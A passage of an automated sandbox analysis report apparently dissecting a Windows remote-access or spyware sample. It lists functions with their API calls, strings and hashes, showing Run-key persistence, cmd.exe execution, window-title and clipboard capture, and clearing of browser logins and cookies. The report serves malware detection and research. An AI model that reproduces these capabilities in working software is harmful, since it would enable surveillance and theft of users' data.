                                                        • Instruction Fuzzy Hash: 2C01B975604216BBCB18CFAD9D449AF7BB4AB45300B00417EE956E3381DA74E9008B95
                                                        Function 0044C2D3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • SetFilePointerEx.KERNEL32(00000000,00000000,00000002,FF8BC369,00000000,FF8BC35D,00000000,10558B1C,10558B1C,PkGNG,0044C382,FF8BC369,00000000,00000002,00000000,PkGNG), ref: 0044C30C
                                                        • GetLastError.KERNEL32 ref: 0044C316
                                                        • __dosmaperr.LIBCMT ref: 0044C31D
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorFileLastPointer__dosmaperr
                                                        • String ID: PkGNG
                                                        • API String ID: 2336955059-263838557
                                                        • Opcode ID: 97215d8b8c2dce734124090270f13308d8b04423b03663272671d6b8c31aea6f
                                                        • Instruction ID: 8193a85edd99f1e073baf55791db2896ff72ac9ff19ac05387a69161c0de0417
                                                        • Opcode Fuzzy Hash: 97215d8b8c2dce734124090270f13308d8b04423b03663272671d6b8c31aea6f
                                                        • Instruction Fuzzy Hash: FB019032A11108BBDB01DFDDDC4586E7B19EB81320B28034EFD2097280EAB4DD119794
                                                        Function 0040515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00405159), ref: 00405173
                                                        • CloseHandle.KERNEL32(?), ref: 004051CA
                                                        • SetEvent.KERNEL32(?), ref: 004051D9
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseEventHandleObjectSingleWait
                                                        • String ID: Connection Timeout
                                                        • API String ID: 2055531096-499159329
                                                        • Opcode ID: 638b915a1fb33ffee36d9cd6321bbf62091d502496d276d1835a730be56b6213
                                                        • Instruction ID: b176daa04f7f78a72cd0d213bf0bcd41e0e3849ccec9e2477ca34bbc74fb9340
                                                        • Opcode Fuzzy Hash: 638b915a1fb33ffee36d9cd6321bbf62091d502496d276d1835a730be56b6213
                                                        • Instruction Fuzzy Hash: C901F530940F00AFD7216B368D8642BBFE0EF00306704093EE68356AE2D6789800CF89
                                                        Function 0040E800 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E86E
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Exception@8Throw
                                                        • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                                                        • API String ID: 2005118841-1866435925
                                                        • Opcode ID: e1bdae5122e534e22181349a294e5dd283a76e5484cb2b4dd901af9da0e19607
                                                        • Instruction ID: 287a1f786264602a2f100ba68ee8cd07dacd1bfc9ef62352ff5e55a88b78f620
                                                        • Opcode Fuzzy Hash: e1bdae5122e534e22181349a294e5dd283a76e5484cb2b4dd901af9da0e19607
                                                        • Instruction Fuzzy Hash: 59018F626583087AEB14B697CC03FBA33685B10708F10CC3BBD01765C2EA7D6A61C66F
                                                        Function 0041CB72 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FormatMessageA.KERNEL32(00001100,00000000,00000000,00000400,?,00000000,00000000,00474EF8,00474EF8,PkGNG,00404A40), ref: 0041CB9A
                                                        • LocalFree.KERNEL32(?,?), ref: 0041CBC0
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: FormatFreeLocalMessage
                                                        • String ID: @J@$PkGNG
                                                        • API String ID: 1427518018-1416487119
                                                        • Opcode ID: 43e67b6722ad7e97e4d7411bd93802a0b45ac2c2c041eafaafa940aa2d942fec
                                                        • Instruction ID: 923000db8f6a2d31ebee0df48ef62036c6bc2ff20d3f060cbaedccf048ea6ec3
                                                        • Opcode Fuzzy Hash: 43e67b6722ad7e97e4d7411bd93802a0b45ac2c2c041eafaafa940aa2d942fec
                                                        • Instruction Fuzzy Hash: 34F0A930B00219A6DF14A766DC4ADFF772DDB44305B10407FB605B21D1DE785D059659
                                                        Function 0041384F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RegCreateKeyW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,?), ref: 0041385A
                                                        • RegSetValueExW.ADVAPI32(?,00000000,00000000,00000001,00000000,00000000,?,?,?,?,00000000,004752D8,762337E0,?), ref: 00413888
                                                        • RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,004752D8,762337E0,?,?,?,?,?,0040CFE5,?,00000000), ref: 00413893
                                                        Strings
                                                        • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00413858
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseCreateValue
                                                        • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                        • API String ID: 1818849710-1051519024
                                                        • Opcode ID: 3da2de30dd2e4c2ff773a1c969aacac889c14d245fa7b83563a43fe4ea506f1b
                                                        • Instruction ID: 9133f253890910ff78e8f434c24b82038cc7026402723a24ca4ec17c3e6d8cb5
                                                        • Opcode Fuzzy Hash: 3da2de30dd2e4c2ff773a1c969aacac889c14d245fa7b83563a43fe4ea506f1b
                                                        • Instruction Fuzzy Hash: 15F0C271440218FBCF00AFA1EC45FEE376CEF00756F10452AF905A61A1E7759E04DA94
                                                        Function 0040DFE1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • std::_Lockit::_Lockit.LIBCPMT ref: 0040DFEC
                                                        • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040E02B
                                                          • Part of subcall function 004356CD: _Yarn.LIBCPMT ref: 004356EC
                                                          • Part of subcall function 004356CD: _Yarn.LIBCPMT ref: 00435710
                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E051
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                                                        • String ID: bad locale name
                                                        • API String ID: 3628047217-1405518554
                                                        • Opcode ID: 0e967f5f4c551f764c071b3c3fecd2d0a166eebc37c8bba363630da575d49789
                                                        • Instruction ID: 7f9ccd90240ef42149755af47b5df127ed13e8783c268b42739d505c0e35a915
                                                        • Opcode Fuzzy Hash: 0e967f5f4c551f764c071b3c3fecd2d0a166eebc37c8bba363630da575d49789
                                                        • Instruction Fuzzy Hash: 77F08131544A085AC338FA62D863DDA73B49F14358F50457FB406268D2EF78BA0CCA9D
                                                        Function 004137AA Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,0046612C), ref: 004137B9
                                                        • RegSetValueExA.ADVAPI32(0046612C,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,0041CB42,WallpaperStyle,0046612C,00000001,00474EE0,00000000), ref: 004137E1
                                                        • RegCloseKey.ADVAPI32(0046612C,?,?,0041CB42,WallpaperStyle,0046612C,00000001,00474EE0,00000000,?,00408798,00000001), ref: 004137EC
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseCreateValue
                                                        • String ID: Control Panel\Desktop
                                                        • API String ID: 1818849710-27424756
                                                        • Opcode ID: 6030d9855dac89f4cd46f7f8c789974497344dcf9873e73d86c3d4cdefa30cde
                                                        • Instruction ID: b09b06e14e5a963f4ed757ac8f346f2723baee7be417271cc0de3610a50c6458
                                                        • Opcode Fuzzy Hash: 6030d9855dac89f4cd46f7f8c789974497344dcf9873e73d86c3d4cdefa30cde
                                                        • Instruction Fuzzy Hash: A4F06272500218FBDF00AFA1DC45DEA376CEF04751F108566FD1AA61A1DB359E14DB54
                                                        Function 00416C68 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateThread.KERNEL32(00000000,00000000,Function_0001D4EE,00000000,00000000,00000000), ref: 00416C82
                                                        • ShowWindow.USER32(00000009), ref: 00416C9C
                                                        • SetForegroundWindow.USER32 ref: 00416CA8
                                                          • Part of subcall function 0041CE2C: AllocConsole.KERNEL32(00475338), ref: 0041CE35
                                                          • Part of subcall function 0041CE2C: ShowWindow.USER32(00000000,00000000), ref: 0041CE4E
                                                          • Part of subcall function 0041CE2C: SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CE73
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Window$ConsoleShow$AllocCreateForegroundOutputThread
                                                        • String ID: !D@
                                                        • API String ID: 3446828153-604454484
                                                        • Opcode ID: 4d9bf94020eca6f9e295162147b2deb229949cce80f8bc9c3a6d36dbd144fb99
                                                        • Instruction ID: 9f5213224becab59645eda34593d96b16d6ada18beeab21aaf628210512d7754
                                                        • Opcode Fuzzy Hash: 4d9bf94020eca6f9e295162147b2deb229949cce80f8bc9c3a6d36dbd144fb99
                                                        • Instruction Fuzzy Hash: ECF05E70149340EAD720AB62ED45AFA7B69EB54341F01487BF909C20F2DB389C94865E
                                                        Function 00416129 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 0041616B
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ExecuteShell
                                                        • String ID: /C $cmd.exe$open
                                                        • API String ID: 587946157-3896048727
                                                        • Opcode ID: df79394fdd2e8ac4c6a51a4d6bf5cb7422c6ad95fc7d3df390015c01fd08e55b
                                                        • Instruction ID: 08f4dee505367bf09000beb2be63de5ecd082ae46aa0e0363999309db21c3e05
                                                        • Opcode Fuzzy Hash: df79394fdd2e8ac4c6a51a4d6bf5cb7422c6ad95fc7d3df390015c01fd08e55b
                                                        • Instruction Fuzzy Hash: 5EE0C0B0204305ABC605F675DC96CBF73ADAA94749B50483F7142A20E2EF7C9D49C65D
                                                        Function 004014AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadLibraryA.KERNEL32(User32.dll,GetLastInputInfo), ref: 004014B9
                                                        • GetProcAddress.KERNEL32(00000000), ref: 004014C0
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: AddressLibraryLoadProc
                                                        • String ID: GetLastInputInfo$User32.dll
                                                        • API String ID: 2574300362-1519888992
                                                        • Opcode ID: 97ca63f656fbe05ba3a699769711b358361c41ed64750357eec187df6322536e
                                                        • Instruction ID: d02e03e3b89f99dad65f23c179d95e13f318a7fd709defe56253aab8848571e2
                                                        • Opcode Fuzzy Hash: 97ca63f656fbe05ba3a699769711b358361c41ed64750357eec187df6322536e
                                                        • Instruction Fuzzy Hash: EFB092B8580300FBCB102FA0AD4E91E3A68AA18703B1008A7F441C21A1EBB888009F5F
                                                        Function 00456C9A Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free
                                                        • String ID:
                                                        • API String ID: 269201875-0
                                                        • Opcode ID: 439bce076e8af1f4f00d09f36dc57c4360a04deb8f32f7f303546f6c5063276e
                                                        • Instruction ID: 6f8591e81a910498abf0b0e408487d1c0faf04506bf4bd3dd9e850377c22d226
                                                        • Opcode Fuzzy Hash: 439bce076e8af1f4f00d09f36dc57c4360a04deb8f32f7f303546f6c5063276e
                                                        • Instruction Fuzzy Hash: 34413931B00104AAEB207B7A9C4666F3AB5DF45735F570A1FFD28C7293DA7C481D426A
                                                        Function 0040C047 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • [Cleared browsers logins and cookies.], xrefs: 0040C11F
                                                        • Cleared browsers logins and cookies., xrefs: 0040C130
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Sleep
                                                        • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                                                        • API String ID: 3472027048-1236744412
                                                        • Opcode ID: 857d3cd121560083d8ce3f08402db4584d0000cc5e9f96a8e1a49aed9ab164ab
                                                        • Instruction ID: 5a72b8a34604a64e244bad04561a930bad76f77e78bf22f3e088d6afb7384554
                                                        • Opcode Fuzzy Hash: 857d3cd121560083d8ce3f08402db4584d0000cc5e9f96a8e1a49aed9ab164ab
                                                        • Instruction Fuzzy Hash: A431A805648381EDD6116BF514967AB7B824A53748F0882BFB8C4373C3DA7A4808C79F
                                                        Function 0040A564 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 0041C5E2: GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041C5F2
                                                          • Part of subcall function 0041C5E2: GetWindowTextLengthW.USER32(00000000), ref: 0041C5FB
                                                          • Part of subcall function 0041C5E2: GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0041C625
                                                        • Sleep.KERNEL32(000001F4), ref: 0040A5AE
                                                        • Sleep.KERNEL32(00000064), ref: 0040A638
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Window$SleepText$ForegroundLength
                                                        • String ID: [ $ ]
                                                        • API String ID: 3309952895-93608704
                                                        • Opcode ID: 0877f6620f6187a1062b87b3f34e88cc83cbee9ae63c8039862e0d8bb1bff125
                                                        • Instruction ID: 6255842b65d5da3793f092b3f1447ea5db7efb23f61c0c2d19f8aa6a86066f85
                                                        • Opcode Fuzzy Hash: 0877f6620f6187a1062b87b3f34e88cc83cbee9ae63c8039862e0d8bb1bff125
                                                        • Instruction Fuzzy Hash: CB119F315143006BC614BB26CC579AF77A8AB90348F40083FF552661E3EF79AE18869B
                                                        Function 00443AD3 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 911473749be2fa5c2776252735adb4f144d6ecb150fd6d6ba7d991cf4941a2f5
                                                        • Instruction ID: 2af8e1c260e5220142bf0b5f8a7e988c949d9a3a1697e0ff4d6bcf25ce69da1b
                                                        • Opcode Fuzzy Hash: 911473749be2fa5c2776252735adb4f144d6ecb150fd6d6ba7d991cf4941a2f5
                                                        • Instruction Fuzzy Hash: 7E01F2B26093557EFA202E786CC2F67630DCB51FBAB31033BB520612D2DB68DD40452C
                                                        Function 00443B52 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b7286f010cda03a875959cf2de4cc99ef12f7635f3b898eb143771747277d2a1
                                                        • Instruction ID: 437de9af4247593539f95cdbb70b1dc5411192884b5f12beac7b10196549b189
                                                        • Opcode Fuzzy Hash: b7286f010cda03a875959cf2de4cc99ef12f7635f3b898eb143771747277d2a1
                                                        • Instruction Fuzzy Hash: CB01ADB26096527ABA202E796CC5E27634CDB42BBA335037BF821512E3DF68DE054169
                                                        Function 0041C516 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E84), ref: 0041C52F
                                                        • GetFileSize.KERNEL32(00000000,00000000,00000000,?,?,00000000,0040412F,00465E84), ref: 0041C543
                                                        • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,0040412F,00465E84), ref: 0041C568
                                                        • CloseHandle.KERNEL32(00000000,?,00000000,0040412F,00465E84), ref: 0041C576
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: File$CloseCreateHandleReadSize
                                                        • String ID:
                                                        • API String ID: 3919263394-0
                                                        • Opcode ID: 253de0e05f1e183a51722a251bf095503662c065c08e6289a01aaeef394dcb57
                                                        • Instruction ID: 4673af35f3eeaf13de89ae80f5e83caf65f56e40ae5cb47f4621101913e6d1ef
                                                        • Opcode Fuzzy Hash: 253de0e05f1e183a51722a251bf095503662c065c08e6289a01aaeef394dcb57
                                                        • Instruction Fuzzy Hash: 50F0C2B1241318BFE6101B25ADC9EBB369DDB866A9F10063EF802A22D1DA698D055139
                                                        Function 0041C26E Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C286
                                                        • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C299
                                                        • CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0041C2C4
                                                        • CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0041C2CC
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseHandleOpenProcess
                                                        • String ID:
                                                        • API String ID: 39102293-0
                                                        • Opcode ID: 81942e7addce2a1bdc39bfb83f2669cd8d6753e4bd6c5855ff2ce9cbe7850470
                                                        • Instruction ID: 82f86893bb8475317186349f6084970b7a3011258d8579340058f5d8518f4318
                                                        • Opcode Fuzzy Hash: 81942e7addce2a1bdc39bfb83f2669cd8d6753e4bd6c5855ff2ce9cbe7850470
                                                        • Instruction Fuzzy Hash: 9C01F231680215ABD61066949C8AFA7B66C8B84756F0001ABFA08D22A2EF74CD81466A
                                                        Function 004398E3 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • ___BuildCatchObject.LIBVCRUNTIME ref: 004398FA
                                                          • Part of subcall function 00439F32: ___AdjustPointer.LIBCMT ref: 00439F7C
                                                        • _UnwindNestedFrames.LIBCMT ref: 00439911
                                                        • ___FrameUnwindToState.LIBVCRUNTIME ref: 00439923
                                                        • CallCatchBlock.LIBVCRUNTIME ref: 00439947
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                                                        • String ID:
                                                        • API String ID: 2633735394-0
                                                        • Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                                        • Instruction ID: 1eef882e9718bbd9a0ab38cd68ce054dbb3f9d4064fa539f417e17899f1f7293
                                                        • Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                                        • Instruction Fuzzy Hash: 38010532000109BBCF125F56CC01EDA3BAAEF5C754F05901AF95865221C3BAE862ABA4
                                                        Function 0041941E Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetSystemMetrics.USER32(0000004C), ref: 0041942B
                                                        • GetSystemMetrics.USER32(0000004D), ref: 00419431
                                                        • GetSystemMetrics.USER32(0000004E), ref: 00419437
                                                        • GetSystemMetrics.USER32(0000004F), ref: 0041943D
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: MetricsSystem
                                                        • String ID:
                                                        • API String ID: 4116985748-0
                                                        • Opcode ID: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                                                        • Instruction ID: fd4820a3fb0c8fcfb80096478546269f04700e3de9cdf271d69d174aa35805c7
                                                        • Opcode Fuzzy Hash: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                                                        • Instruction Fuzzy Hash: 3FF0A4B1B043155BD700EE758C51A6B6ADAEBD4364F10043FF60887281EFB8DC468B84
                                                        Function 00438FB1 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00438FB1
                                                        • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00438FB6
                                                        • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 00438FBB
                                                          • Part of subcall function 0043A4BA: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0043A4CB
                                                        • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00438FD0
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                                                        • String ID:
                                                        • API String ID: 1761009282-0
                                                        • Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                                                        • Instruction ID: 3a6c9073cd349407f79861cc5a63413a30b4b1af88e8d748f4708d1390bfb410
                                                        • Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                                                        • Instruction Fuzzy Hash: 8DC04C44080381552C50B6B2110B2AF83521C7E38CF9074DFBDD1579474D5D052F553F
                                                        Function 00449EBC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • WideCharToMultiByte.KERNEL32(000000FF,00000000,00000006,00000001,?,?,00000000,?,00000000,?,?,00000000,00000006,?,?,?), ref: 00449F8F
                                                        • GetLastError.KERNEL32 ref: 00449FAB
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ByteCharErrorLastMultiWide
                                                        • String ID: PkGNG
                                                        • API String ID: 203985260-263838557
                                                        • Opcode ID: d1185fb95bfff78fff583c453b007e19375680cfc0f7d37f8e74ebb942ffdfee
                                                        • Instruction ID: e4919e29a80df6b7ced925805d10dfcffaa1b378e184719e11b938f1b8f94c7b
                                                        • Opcode Fuzzy Hash: d1185fb95bfff78fff583c453b007e19375680cfc0f7d37f8e74ebb942ffdfee
                                                        • Instruction Fuzzy Hash: 2331E430200201ABFB21EF56C845BAB7768EF45721F15016BF815C7391DB38CD45E7A9
                                                        Function 0040B783 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00434801: __onexit.LIBCMT ref: 00434807
                                                        • __Init_thread_footer.LIBCMT ref: 0040B7D2
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Init_thread_footer__onexit
                                                        • String ID: [End of clipboard]$[Text copied to clipboard]
                                                        • API String ID: 1881088180-3686566968
                                                        • Opcode ID: 7be63757e29b9f91be4cc1fce50211db745ac7e2ddcf3fa0e25e131e1c8bf245
                                                        • Instruction ID: 844f446031992ee5170c212df839aebd4a436c67f2956c9e8fe8aff684c3a130
                                                        • Opcode Fuzzy Hash: 7be63757e29b9f91be4cc1fce50211db745ac7e2ddcf3fa0e25e131e1c8bf245
                                                        • Instruction Fuzzy Hash: 30217131A102198ACB14FBA6D8929EDB375AF54318F10443FE505771D2EF786D4ACA8C
                                                        Function 00451BB7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00451E12,?,00000050,?,?,?,?,?), ref: 00451C92
                                                        Strings
                                                        Memory Dump Source
